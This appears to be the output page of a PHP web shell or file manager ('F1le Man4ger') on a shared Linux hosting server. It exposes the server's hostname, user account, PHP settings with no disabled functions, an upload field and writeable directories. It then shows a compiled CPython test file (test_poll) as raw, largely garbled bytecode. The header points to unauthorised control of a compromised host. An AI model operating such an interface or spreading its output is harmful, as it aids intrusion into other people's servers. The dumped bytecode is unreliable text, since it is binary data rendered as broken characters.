Server : LiteSpeed
System : Linux server51.dnsbootclub.com 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64
User : nandedex ( 1060)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /opt/cppython/lib/python3.8/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]


Current File : //opt/cppython/lib/python3.8/test/__pycache__/test_poll.cpython-38.opt-2.pyc
U

>��g��@s�ddlZddlZddlZddlZddlZddlZddlZddlmZm	Z	m
Z
mZz
ejWne
k
rxe�d��YnXdd�ZGdd�dej�Zdd	�Zed
kr�e�dS)�N)�TESTFN�run_unittest�reap_threads�cpython_onlyzselect.poll not definedcCs(g}|D]\}}||@r|�|�q|S�N)�append)�ready�flag�match�fd�mode�r
�-/opt/cppython/lib/python3.8/test/test_poll.py�find_ready_matchings
rc@s\eZdZdd�Zdd�Zdd�Zdd�Zed	d
��Ze	dd��Z
e�e
d
�e	dd���ZdS)�	PollTestscCsrt��}d}d}t|�}g}g}i}i}t|�D]Z}	t��\}
}|�|
�|�|
tj�|�|tj	�|�
|
�|�
|�|||
<|
||<q0g}|�r\|��}
t|
tj	�}|s�td��t
�|�}t�||�|��}
t|
tj�}|s�td��t
�|�}
t�|
|�}|�t|�|�|�
|�t�||
�t�|
�|�||
�|�|
�|�||
�q�|�||g|�dS)N�s This is a test.zno pipes ready for writingzno pipes ready for reading)�select�poll�len�range�os�pipe�register�modify�POLLIN�POLLOUTrr�RuntimeError�random�choice�write�read�assertEqual�close�
unregister�remove)�self�pZ	NUM_PIPESZMSGZMSG_LEN�readersZwritersZr2wZw2r�iZrd�wrZbufsrZ
ready_writersZ
ready_readers�bufr
r
r�
test_poll1sN








zPollTests.test_poll1c
	CsTt��\}}t�|�t�|�t��}|�|�|��}|�|d|tjf�tt	d��<}|�
�}t��}|�|�|��}|�|dd|�W5QRX|��}|�|d|tjf�t�t	�t��}|�t
|j|�|�t
|j|�t��}|�t|jd�t��}Gdd�d�}Gdd�d�}	|�t
|j|�d�|�t
|j|	�d�dS)Nr�w�c@seZdZdS)z,PollTests.test_poll_unit_tests.<locals>.NopeN)�__name__�
__module__�__qualname__r
r
r
r�Nopeksr1c@seZdZdd�ZdS)z.PollTests.test_poll_unit_tests.<locals>.AlmostcSsdS)N�filenor
)r%r
r
rr2osz5PollTests.test_poll_unit_tests.<locals>.Almost.filenoN)r.r/r0r2r
r
r
r�Almostnsr3)rrr"rrrr!�POLLNVAL�openrr2�unlink�assertRaises�	TypeErrorr#�KeyError)
r%ZFDr,r&�r�fr�pollsterr1r3r
r
r�test_poll_unit_testsLs4




zPollTests.test_poll_unit_testsc
Cs�d}tj|dtjdd�}|��|�|jddd�|j}t��}|�	|tj
�dD]�}|�|�}|gkrjqR|d\}}|tj@r�|��}	|	dkrR|�
d�qRqR|tj
@r�|��}	|	s�q�|�|	d�qRqR|�
d	|�qRdS)
Nz?for i in 0 1 2 3 4 5 6 7 8 9; do echo testing...; sleep 1; doneTr)�shell�stdout�bufsize)ri�i�i�i@i�>���rArArArArArArArArA�z6error: pipe seems to be closed, but still returns datastesting...
z,Unexpected return value from select.poll: %s)�
subprocess�Popen�PIPE�	__enter__�
addCleanup�__exit__r?rrrr�POLLHUP�readline�failr!)
r%�cmd�procr&r<ZtoutZfdlistr�flags�liner
r
r�
test_poll2xs4�



zPollTests.test_poll2cCs�t��}|�d�|�t|jd�d}|dkr8|�d�|�t|jdd�|�t|jdd�|�t|jdd�|�t|jdd�dS)N�l�zOverflow must have occurredrrA)rrrr7�
OverflowErrorrK�
ValueErrorr)r%r<�xr
r
r�
test_poll3�s

zPollTests.test_poll3cCs~ddlm}m}m}t��}|�d�|�t|jd|d�|�t|j	d|d�|�t|j|d�|�t|j|d�dS)Nr)�	USHRT_MAX�INT_MAX�UINT_MAXrQ)
Z	_testcapirWrXrYrrrr7rSr)r%rWrXrYr<r
r
r�test_poll_c_limits�s
zPollTests.test_poll_c_limitsc
Cs�t��\}}|�tj|�|�tj|�g}td�D]&}t�|�}|�tj|�|�|�q4t��}|D]}|�	|tj
�qhtj|jd�}|�
�z>t�d�|D]}|�|�q�|�	|tj�|�t|j�W5t�|d�|��XdS)N�
)�target�spamg�?)rrrGr"r�duprrrrr�	threading�Thread�startr�join�time�sleepr#rr7r)r%r:r,Zrfdsr(rr<�tr
r
r�test_threaded_poll�s*

zPollTests.test_threaded_pollz!Threading required for this test.cCs�dD]�}t��\}}t��}|�|tj�tj|j|fd�}|��|j	dd�|�
|���t�|d�|�	�|�
|���t�|�t�|�qdS)N)Ni���rAg�g��������g0��.�+�)r\�argsg�������?)�timeoutr])rrrrrrr_r`rarbZ
assertTrue�is_aliverZassertFalser")r%Z
timeout_msr:r,r<Zpoll_threadr
r
r�!test_poll_blocks_with_negative_ms�s
z+PollTests.test_poll_blocks_with_negative_msN)r.r/r0r+r=rPrVrrZrrf�unittestZ
skipUnlessr_rjr
r
r
rrs1,


rcCstt�dSr)rrr
r
r
r�	test_main�srl�__main__)rrCrrr_rcrkZtest.supportrrrrr�AttributeErrorZSkipTestrZTestCaserrlr.r
r
r
r�<module>s"
M

F1le Man4ger